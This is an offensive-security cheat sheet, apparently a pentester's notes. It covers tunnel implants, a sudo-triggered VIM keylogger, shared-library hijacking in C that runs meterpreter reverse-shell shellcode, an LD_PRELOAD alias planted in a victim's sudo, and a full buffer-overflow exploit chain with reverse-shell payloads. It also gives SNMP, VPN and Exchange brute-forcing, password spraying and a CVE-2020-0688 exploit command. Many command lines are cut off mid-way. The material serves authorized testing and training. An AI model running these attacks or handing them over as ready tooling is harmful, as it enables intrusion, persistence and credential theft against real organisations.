https://github.com/L-codes/Neo-reGeorg
https://github.com/sensepost/reGeorg

Generate a tunnel implant and copy it to the Victim web server from ./neoreg_servers/tunnel* :

$ python neoreg.py generate -k 'Passw0rd!'

Connect to the implant ( .aspx , for example):


$ python neoreg.py -k 'Passw0rd!' -u http://web01.megacorp.local/tunnel.aspx -l 0.0.0.0 -p 133

Post Exploitation
General Post Exploitation

Linux

VIM Keylogger

Create a malicious VIM config that will save contents of a modified file when ran with sudo:

settings.vim
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif

$ sudo -u victim mkdir -p /home/victim/.vim/plugin


$ sudo -u victim bash -c 'echo -n OmlmICRVU0VSID09ICJyb290Igo6YXV0b2NtZCBCdWZXcml0ZVBvc3QgKiA6

Shared Libraries Hijacking

LD_LIBRARY_PATH

https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Linux%20Shellcode%20Loaders/sharedLibrary_LD_LIBRARY_PATH.c

For example, target executable will be /usr/bin/top .

Code skeleton:

fakelib.c
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

static void hijack() __attribute__((constructor));

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --


unsigned char buf[] =
"\x31\x33\...\x33\x37";

void hijack() {
setuid(0);
setgid(0);
printf("Library hijacked!\n");
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
intptr_t pagesize = sysconf(_SC_PAGESIZE);
mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC);
int (*ret)() = (int(*)())buf;
ret();
}

Get all shared libraries loaded by target executable:

$ ldd /usr/bin/top
...

libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0

We'll be targeting the libgpg-error.so.0 library. Include defined symbols of the original library in our
malicious library:

$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk

Create a map file with version information of defined symbols:

$ echo 'GPG_ERROR_1.0 {' > gpg.map


$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk
$ echo '};' >> gpg.map

Prepare the listener, compile, export LD_LIBRARY_PATH and run top:

$ gcc -Wall -fPIC -c -o fakelib.o fakelib.c


$ gcc -shared -Wl,--version-script gpg.map -o libgpg-error.so.0 fakelib.o
$ sudo LD_LIBRARY_PATH=/home/snovvcrash/ldlib top

LD_PRELOAD

https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Linux%20Shellcode%20Loaders/sharedLibrary_LD_PRELOAD.c

For example, target executable will be /bin/cp .

Determine which functions are executed by /bin/cp via LD_PRELOAD :


$ ltrace cp
...
getuid()
...

We'll be hooking the getuid() function:

evilgetuid.c
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --


unsigned char buf[] =
"\x31\x33\...\x33\x37";

uid_t geteuid(void)
{
typeof(geteuid) *getuid_orig;
getuid_orig = dlsym(RTLD_NEXT, "geteuid");

if (fork() == 0) // if inside the forked process


{
setuid(0);
setgid(0);
printf("Function hooked!\n");

int bufsize = (int)sizeof(buf);


for (int i = 0; i < bufsize-1; i++) {
buf[i] = buf[i] ^ 'a';
}

intptr_t pagesize = sysconf(_SC_PAGESIZE);


if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), page
perror("mprotect");
return -1;
}

int (*ret)() = (int(*)())buf;


ret();
}
else // if inside the original process
{
printf("Returning from original...\n");
return (*getuid_orig)();
}

printf("Returning from main...\n");


return -2;
}

Compile:

$ gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c


$ gcc -shared -o evilgetuid.so evilgetuid.o -ldl

Create an evil alias to preserve environment variables when running cp with sudo (good candidates are
.bashrc and .bash_profile ):

alias sudo="sudo LD_PRELOAD=/home/victim/evilgetuid.so"

Run the target executable:

$ sudo cp /etc/passwd /tmp/passwd

SNMP
Simple Network Management Protocol

Discover devices with default public string:

msf > use auxiliary/scanner/snmp/snmp_login


msf > set PASSWORD public
msf > set RHOSTS file:snmp.txt
msf > set THREADS 25
msf > set VERBOSE false
msf > set VERSION 2c
msf > run

onesixtyone

https://github.com/trailofbits/onesixtyone

Brute force public string:

$ onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.10.13.37


snmp-check
Collect data:

$ snmp-check -v 2c -c public 10.10.13.37


$ for i in `seq 1 254`; do snmp-check -v 2c -c public -t1 10.10.13.$i | grep -aA2 'System info

snmpwn

https://github.com/hatlord/snmpwn

$ ./snmpwn.rb --hosts hosts.txt --users users.txt --passlist passwords.txt --enclist passwords

TFTP
Trivial File Transfer Protocol

Enum with Nmap:

$ sudo nmap -sVU -p69 --script tftp-enum 10.10.13.37

Brute Force Filenames


Make a list of potential filenames. Use 8.3 notation:

PS > cmd /c dir /x


PS > cmd /c "for %I in (.) do @echo %~sI"

Download Python TFTP implementation and use the Bash script below:

https://github.com/m4tx/pyTFTP

$ git clone https://github.com/m4tx/pyTFTP && cd pyTFTP


$ ./tftp-brute.sh 10.10.13.37 files.txt

tftp-brute.sh
#!/usr/bin/env bash
IP=$1
FILES=$2

while IFS= read -r file; do


echo -n "[*] Trying ${file}... "
if ./client.py -g "${file}" "${IP}" > /dev/null 2>&1; then
echo "SUCCESS"
else
echo "FAIL"
fi
done < "${FILES}"

VNC
Virtual Network Computing

Enum with MSF:

msf > use auxiliary/scanner/vnc/vnc_none_auth


msf > set RHOSTS file:vnc.txt
msf > set THREADS 25
msf > run

TightVNC

https://github.com/frizb/PasswordDecrypts

Decrypt TightVNC password with MSF:

msf > irb


>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["f0f0f0f0f0f0f0f0"].pack('H*'), fixedkey
=> "<DECRYPTED>"

Misc
OSCP BOF
All you need to know about OSCP BOF challenge. A perfect example for practice – here on VulnHub, report
sample – here.

1. Determine EIP Offset


Generate unique pattern and feed it to the application:

$ msf-pattern_create -l 5000
$ python3 bof_send_pattern.py

bof_send_pattern.py
#!/usr/bin/env python3

# bof_send_pattern.py

import socket

buf = b'<UNIQUE_PATTERN>'
#buf += b'\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.13.37', 1337))
#print(s.recv(1024))
s.send(buf)
#print(s.recv(1024))
s.close()

Calculate the offset from buffer to EIP overwrite point:

$ msf-pattern_offset -l 5000 -q <EIP_VALUE>


[*] Exact match at offset <EIP_OFFSET>

2. Confirm BOF
Confirm that you actually can control EIP value - if true it will be overwritten with D34DC0D3 :

$ python3 bof_confirm.py

bof_confirm.py
#!/usr/bin/env python3
# bof_confirm.py

import socket
import struct

def little_endian(num):
return struct.pack('<I', num)

junk = b'A' * <EIP_OFFSET>


eip = little_endian(0xd34dc0d3)
offset = b'C' * 16

buf = junk + eip + offset


#buf += b'\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.13.37', 1337))
#print(s.recv(1024))
s.send(buf)

#print(s.recv(1024))
s.close()

3. Enumerate Bad Characters


Send all the byte values to the application. Then in Immunity Debugger right click on ESP > "Follow in
Dump", and check what characters are missing or misinterpreted - they are the bad characters that should
be excluded when generating the shellcode:

$ python3 bof_bad_chars.py

bof_bad_chars.py
#!/usr/bin/env python3
# bof_bad_chars.py

import socket
import struct

def little_endian(num):
return struct.pack('<I', num)

junk = b'A' * <EIP_OFFSET>


eip = little_endian(0xd34dc0d3)
offset = b'C' * 4

badchars = b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\
#badchars = '\x00'
buf = junk + eip + offset + badchars
#buf += b'\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.13.37', 1337))
#print(s.recv(1024))
s.send(buf)
#print(s.recv(1024))
s.close()

4. Build the Exploit

I. Find a Return Address

List all loaded libraries in process memory space with mona:

!mona modules

Choose a module with no memory protections enabled.

Look for jmp esp instruction in that module:

$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
Or
nasm > call esp
00000000 FFD4 call esp

!mona find -s "\xff\xe4" -m "application.exe"

Found pointer is the needed value for EIP to force the execution flow into malicious shellcode.

II. Generate a Shellcode

Build a shellcode providing bad characters set from (3):

$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b "\x00"


$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -e x86/shikata_ga_na
$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f python -e x
5 Exploit!
Start nc listener, feed the shellcode to the application and catch your shell:

$ python3 bof_exploit.py

bof_exploit.py
#!/usr/bin/env python3
# bof_exploit.py

import socket
import struct

def little_endian(num):
return struct.pack('<I', num)

junk = b'A' * <EIP_OFFSET>


eip = little_endian(0xd34dc0d3)

offset = b'C' * 4
nops = b'\x90' * 10

buf = junk + eip + offset + nops


buf += b"<SHELLCODE>"
#buf += b'\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.13.37', 1337))
#print(s.recv(1024))
s.send(buf)
#print(s.recv(1024))
s.close()

RE
Reverse Engineering

RE

Ghidra

Install:

https://ghidra-sre.org/

$ mv /opt/tor-browser/Browser/Downloads/ghidra*.zip ~/tools
$ cd ~/tools && unzip ghidra*.zip && rm ghidra*.zip && mv ghidra* ghidra && cd -
$ sudo apt install openjdk-11-jdk

OSINT
Open Source Intelligence

https://osintframework.com/

Emails

https://hunter.io/
https://app.snov.io/search/single-email

https://www.skymem.info/
https://mailshunt.com/domain-search

https://dash.maildb.io/search/domain

Infoga

https://github.com/m4ll0k/Infoga

$ ./infoga.py -d megacorp.com -s all -b -r emails.txt -v 2

Tools

theHarvester

https://github.com/laramies/theHarvester

$ ./theHarvester.py -d megacorp.com -g -s -r -f megacorp.com.xml -b all

Shodan

https://www.shodan.io/
$ shodan init <API_KEY>
$ shodan count vuln:cve-1984-31337
$ shodan download out.json.gz vuln:cve-1984-31337 [--limit 1000]
$ gzip -d out.json.gz
$ shodan parse out.json --fields=ip_str,port > out.txt

Password Brute Force

https://weakpass.com/

https://habr.com/ru/company/deiteriylab/blog/584160/

hashcat

$ hashcat --example-hashes | grep -B1 -i md5


$ hashcat -m 500 hashes/file.hash /usr/share/wordlists/rockyou.txt --username
$ hashcat -m 500 hashes/file.hash --username --show

Benchmarks:

$ nvidia-smi.exe

# MD5
$ hashcat -m 0 -b
# NTLM
$ hashcat -m 1000 -b

Единица хэшрейта Хэшрейт Хэши в секунду

1kH/s 1000 Тысяча

1MH/s 1000000 Одинмиллион

1GH/s 1000000000 Одинмиллиард

1TH/s 1.000.000.000.000 Одинтриллион

1PH/s 1.000.000.000.000.000 Одинквадриллион

1EH/s 1.000.000.000.000.000.000 Одинквинтиллион

1ZH/s 1.000.000.000.000.000.000.000 Одинсекстиллион


TGS-REP with NTLM Wordlist

https://github.com/hashcat/hashcat/pull/2607#issuecomment-850653034

Remove the following lines from m13100_a0-optimized.cl and compile:

// K=MD4(Little_indian(UNICODE(pwd))

append_0x80_2x4 (w0_t, w1_t, pw_len);

make_utf16le (w1_t, w2_t, w3_t);


make_utf16le (w0_t, w0_t, w1_t);

w3_t[2] = pw_len * 8 * 2;
w3_t[3] = 0;

digest[0] = MD4M_A;
digest[1] = MD4M_B;
digest[2] = MD4M_C;
digest[3] = MD4M_D;

md4_transform (w0_t, w1_t, w2_t, w3_t, digest);

// K1=MD5_HMAC(K,1); with 2 encoded as little indian on 4 bytes (02000000 in hexa);

w0_t[0] = digest[0];
w0_t[1] = digest[1];
w0_t[2] = digest[2];
w0_t[3] = digest[3];
w1_t[0] = 0;
w1_t[1] = 0;
w1_t[2] = 0;
w1_t[3] = 0;
w2_t[0] = 0;
w2_t[1] = 0;
w2_t[2] = 0;
w2_t[3] = 0;
w3_t[0] = 0;
w3_t[1] = 0;
w3_t[2] = 0;
w3_t[3] = 0;

To crack:

$ hashcat -m 13100 -O tgsrep.in ntlm.wordlist --self-test-disable --hex-wordlist

Generate Wordlists
hashcat
Potentially valid usernames, John Doe as an example:

https://activedirectorypro.com/active-directory-user-naming-convention/

$ cat << EOF >> passwords.txt


johndoe
jdoe
j.doe
doe
EOF

Common usernames:

$ cat << EOF >> passwords.txt


admin
administrator

root
guest
sa
changeme
password
EOF

Common patterns:

$ cat << EOF >> passwords.txt


January
February
March
April
May
June
July
August
September
October
November
December
Autumn
Fall
Spring
Winter
Summer
password
Password
P@ssw0rd
secret
Secret
S3cret
EOF

Add year and exclamation point to the end of each password:

$ for i in $(cat passwords.txt); do echo "${i}"; echo "${i}\!"; echo "${i}2020"; echo "${i}202
$ cp t passwords.txt

Mutate the wordlist with hashcat rules:

$ hashcat --force --stdout passwords.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share


$ cp t passwords.txt

kwprocessor

https://github.com/hashcat/kwprocessor

$ ./kwp basechars/full.base keymaps/en-us.keymap routes/2-to-16-max-3-direction-changes.route

cewl

$ cewl -d 5 -m 5 -w passwords.txt --with-numbers --email_file emails.txt http://megacorp.local

Perimeter

https://pentest-tools.com/home
https://hackertarget.com/ip-tools/
DNS
$ nslookup example.com
Subdomains & AXFR
AS details

$ whois example.com
$ whois 127.0.0.1
Check for DNS Amplification

CMS, Stack, Vulns


WhatWeb, Wappalyzer
Shodan / Censys / SecurityTrails

Google Dorks
/robots.txt

/sitemap.xml

Autonomous Systems

https://hackware.ru/?p=9245

Info via IP

dig:

$ dig $(dig -x 127.0.0.1 | grep PTR | tail -n 1 | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}

whois:

$ whois -h whois.cymru.com -- '-v 127.0.0.1'


$ whois -h whois.radb.net 127.0.0.1

Info via ASN

whois:

$ whois -h whois.cymru.com -- '-v AS48666'


$ whois -h whois.radb.net AS48666

Search AS

https://radar.qrator.net/search?query=AS31337
https://github.com/nitefood/asn

Map IP addresses to AS by origin and netname with ignoring potentionally unwanted netname values by
keywords:

whois.sh
#!/bin/bash
# Usage: whois.sh ip_list.txt

for ip in `cat $1`; do


WHOIS=`whois $ip`
ASNUM=`echo $WHOIS | grep -i "origin:" | tr -d ' ' | cut -d ":" -f 2 | tr $'\n' ','`
NETNAME=`echo $WHOIS | grep -i "netname:" | tr -d ' ' | cut -d ":" -f 2`
if ! echo "$NETNAME" | grep -iqF -e pppoe -e ipoe; then
echo "$ASNUM,$NETNAME,$ip"
fi
done

Difference between as-name, aut-num, origin, netname, etc. may be found on RIPE.

1C

https://t.me/webpwn/280
https://habr.com/ru/post/352566/

https://github.com/KraudSecurity/1C-Exploit-Kit

https://www.rbsoft.ru/kb/upravlenie-spiskami-baz-1s/

List all users if it's not disabled:

$ curl https://<HOSTNAME>/<DB_NAME>/en_US/e1cib/users
$ curl https://<HOSTNAME>/<DB_NAME>/ru_RU/e1cib/users

ADFS
Active Directory Federation Services

Tools

ADFSpray

https://github.com/xFreed0m/ADFSpray

Spray at autodiscover (NTLM auth) endpoint:

$ python3 ADFSpray.py -U users.txt -p 'Passw0rd!' -t 'https://autodiscover.megacorp.com/autodi

adfsbrute
https://github.com/ricardojoserf/adfsbrute

Cisco

ASA Path Traversal


CVE-2020-3452

Check manually:

https://cisco.example.com/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resour
https://cisco.example.com/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_in

Check with MSF:

msf > use auxiliary/scanner/http/cisco_directory_traversal


msf > set RHOSTS file:cisco.txt

msf > run

Potentially existent files to prove the vulnerability:

apcf
app_index.html
appstart.js
appstatus
ask.html
auth.html
blank.html
ced.html
cedf.html
cedhelp.html
cedlogon.html
cedmain.html
cedportal.html
cedsave.html
clear_cache
color_picker.html
color_picker.js
common.js
commonspawn.js
connection_failed_form
cookie
custom
do_url
files
gp-gip.html
help
home
http_auth.html
include
lced.html
localization_inc.lua
logo.gif
logon.html
logon_custom.css
logon_forms.js
logon_redirect.html
logout.html
no_svc.html
noportal.html
nostcaccess.html
ping.html
pluginlib.js
portal.css
portal.html
portal.js
portal_ce.html
portal_custom.css
portal_elements.html
portal_forms.js
portal_img
portal_inc.lua
preview.html
relayjar.html
relaymonjar.html
relaymonocx.html
relayocx.html
sdesktop
sess_update.html
session.js
session_expired
session_password.html
shshim
svc.html
test_chargen
tlbr
tunnel_linux.jnlp
tunnel_mac.jnlp
ucte_forbidden_data
ucte_forbidden_url
user_dialog.html
useralert.html
win.js
wrong_url.html
DNS
Domain Name System

whois
IP/domain info, IP ranges:

$ whois [-h whois.example.com] example.com или 127.0.0.1

dig
General:

$ dig [@dns.example.com] example.com [{any,a,mx,ns,soa,txt,...}]


$ dig -x example.com [+short] [+timeout=1]

https://viewdns.info/reverseip/

Zone transfer:

$ dig axfr @dns.example.com example.com


$ for srv in `cat dns.txt`; do dig axfr "@$srv" example.com | grep "failed" > /dev/null 2>&1

nslookup

$ nslookup example.com [ns.example.com]


$ nslookup -type=ptr 127.0.0.1

$ nslookup
[> server dns.example.com]
> set q=mx
> example.com

$ nslookup
> set q=ptr
> 127.0.0.1
DNS Amplification
Check:

$ host facebook.com ns.example.com

$ dig +short @ns.example.com test.openresolver.com TXT


$ for srv in `cat dns.txt`; do dig +short @$srv test.openresolver.com TXT | grep "open-resolve

$ sudo nmap -Pn -sU -sV --script dns-recursion -iL dns.txt -p53
$ for srv in `cat dns.txt`; do sudo nmap -Pn -sU -sV --script dns-recursion $srv -p53 | grep "

msf > use auxiliary/scanner/dns/dns_amp

Exchange

https://exchangeserverversions.blogspot.com/
https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/

Pentesting Exchange Mindmap

GAL

Ruler

$ ./ruler -k -d megacorp.com -u snovvcrash -p 'Passw0rd!' -e [email protected] --verbose


MailSniper

PS > Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName MEGACORP\snovvcrash -Passwo

OAB

Search for <OABUrl> node using Burp:

POST /autodiscover/autodiscover.xml HTTP/1.1


Host: mx.megacorp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Authorization: Basic TUVHQUNPUlBcc25vdnZjcmFzaDpQYXNzdzByZCEK
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 350

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/

<Request>
<EMailAddress>[email protected]</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/res
</Request>
</Autodiscover>

Or with a Python script:

$ ./oaburl.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -e '[email protected]'


[*] Authenticated users's SID (X-BackEndCookie): S-1-5-21-3167813660-1240564177-918740779-3102
[+] DisplayName: Sam Freeside
[+] Server: [email protected]
[+] AD: dc01.megacorp.com
[+] OABUrl: https://mx.megacorp.com/OAB/<OABUrl>/

Get oab.xml and then oab.lzx :

$ curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' https://mx.megacorp.com/OAB/<OABUrl>/oab.x


$ cat oab.xml | grep '.lzx' | grep data
$ curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' https://mx.megacorp.com/OAB/<OABUrl>/<LZXU

Install libmspack:

$ git clone https://github.com/kyz/libmspack ~/tools/libmspack && cd ~/tools/libmspack/libmspa


$ sudo apt install autoconf automake libtool -y
$ ./rebuild.sh && ./configure && make && cd -
Parse oab.lzx into oab.txt and extract emails from oab.txt with a regexp:

$ ~/tools/libmspack/libmspack/examples/oabextract oab.lzx oab.txt


$ strings oab.txt | egrep -o "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}" | sort -u > ema

ActiveSync

PEAS

https://labs.f-secure.com/archive/accessing-internal-fileshares-through-exchange-activesync/
https://labs.f-secure.com/tools/peas-access-internal-fileshares-through-exchange-activesync/

https://github.com/FSecureLABS/peas

https://github.com/snovvcrash/peas
https://github.com/sensepost/thumbscr-ews

Install:

$ git clone https://github.com/snovvcrash/peas ~/tools/peas-m && cd ~/tools/peas-m


$ python3 -m virtualenv --python=/usr/bin/python venv && source venv/bin/activate
(venv) $ pip install --upgrade 'setuptools<45.0.0'
(venv) $ pip install -r requirements.txt

Run:

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --check


$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --list-unc='\\DC01'
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --list-unc='\\DC01\SY
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --dl-unc='\\DC01\shar
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --dl-unc='\\DC01\shar
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --crawl-unc='\\DC01\s
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --brute-unc [--prefix

How-To

1. Use Nmap http-ntlm-info to get NetBIOS domain name and Exchange hostname: hunting for
hostname pattern prefix if there is one.

2. Locate DC (guess it trying hostname pattern prefix) and mirror \\DC01\SYSVOL\megacorp.local\


share with --crawl-unc function:

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --crawl-unc='\\DC01\S


3. Find, xargs and grep for keywords in files: password , NetBIOS domain name (for additional account
names), hostname pattern prefix (for additional hosts/shares):

$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i -e password -e pass


$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <DOMAIN_NETBIOS_NAME>
$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <PREFIX>

4. (optional) Brute other share names:

$ python -m peas --brute-unc -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com [--prefix

CVE-2020-0688

https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-
server-through-fixed-cryptographic-keys
https://github.com/pwntester/ysoserial.net/releases

https://github.com/MrTiz9/CVE-2020-0688

Get ViewStateUserKey: Browser > F12 > Storage > ASP.NET_SessionId


Get ViewStateGenerator: Browser > F12 > Console > document.getElementById("__VIEWSTATEGENERATO
PS > [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('$name = hostna
PS > .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -
https://mx.megacorp.com/ecp/default.aspx?__VIEWSTATEGENERATOR=<GENERATOR>&__VIEWSTATE=<VIEWSTA

NSPI

https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
https://github.com/ptswarm/impacket

>= Impacket v0.9.22.dev1+20200819.170651.b5fa089b

List Address Books and count entities in every one of them:

$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi list-tables -count

Dump any specified Address Book by its name or GUID:

$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi dump-tables -guid 0


$ cat gal.txt | grep 'mail,' | sort -u | awk -F' ' '{print $3}' > emails.txt
Return AD objects by their GUIDs:

PS > (Get-ADuser -Identity snovvcrash).ObjectGUID


$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi guid-known -guid 00

Dump all AD records via requesting DNTs:

$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi dnt-lookup -lookup-

Information Gathering

Google Dorks

site:megacorp.com filetype:(doc | docx | docm | xls | xlsx | xlsm | ppt | pptx | pptm | pdf |

site:megacorp.com ext:(config | cfg | ini | log | bak | backup | dat)


site:megacorp.com ext:(php | asp | aspx)
"@megacorp.com" email e-mail
"megacorp.com" site:ideone.com | site:codebeautify.org | site:codeshare.io | site:codepen.io

IPSec
IP Security

IKE

https://xakep.ru/2015/05/13/ipsec-security-flaws/
https://book.hacktricks.xyz/pentesting/ipsec-ike-vpn-pentesting
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cracking-ike-missionimprobable-part-
1/
https://github.com/SpiderLabs/ikeforce

Get Transform Set

Using ikeforce.py :

$ sudo python ikeforce.py 10.10.13.37 -a


Using ike-scan via brute force. Generate list of all transform-sets:

$ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3

Brute force supported transform-sets:

$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M --trans=$t 10.10.13.37)
Or (for aggressive mode)
$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M -A -P'handshake.txt' -n F
Or
$ sudo python ikeforce.py -s1 -a 10.10.13.37 # -s1 for max speed

Get Vendor Info

Get information about vendor:

$ sudo ike-scan -M --showbackoff [--trans=<TRANSFORM-SET>] 10.10.13.37

Test for Aggressive Mode

Test for aggressive mode ON:

$ sudo ike-scan -M -A -P -n FAKEID [--trans=<TRANSFORM-SET>] 10.10.13.37

Brute Force Group ID

If no hash value is returned then brute force is (maybe also) possible:

$ while read id; do (echo "[+] Valid ID: $id" && sudo ike-scan -M -A -n $id --trans=<TRANSFORM
Or
$ sudo python ikeforce.py 10.10.13.37 -e -w wordlists/groupnames.dic -t <TRANSFORM-SET-IN-SEPA

Dictionaries:

/usr/share/seclists/Miscellaneous/ike-groupid.txt

~/tools/ikeforce/wordlists/groupnames.dic

Java RMI
Java Remote Method Invocation

Enumerate
Check if class loader is enabled:

msf > use auxiliary/scanner/misc/java_rmi_server


msf > set RHOSTS file:java_rmi.txt
msf > set THREADS 25
msf > run

Dump registry with MSF:

msf > use auxiliary/gather/java_rmi_registry


msf > set RHOSTS file:java_rmi.txt
msf > run

Dump registry with Nmap:

$ sudo nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" 10.10.13.37 -p1098

BaRMIe

https://github.com/NickstaDB/BaRMIe

$ java -jar BaRMIe.jar -enum 10.10.13.37 1098


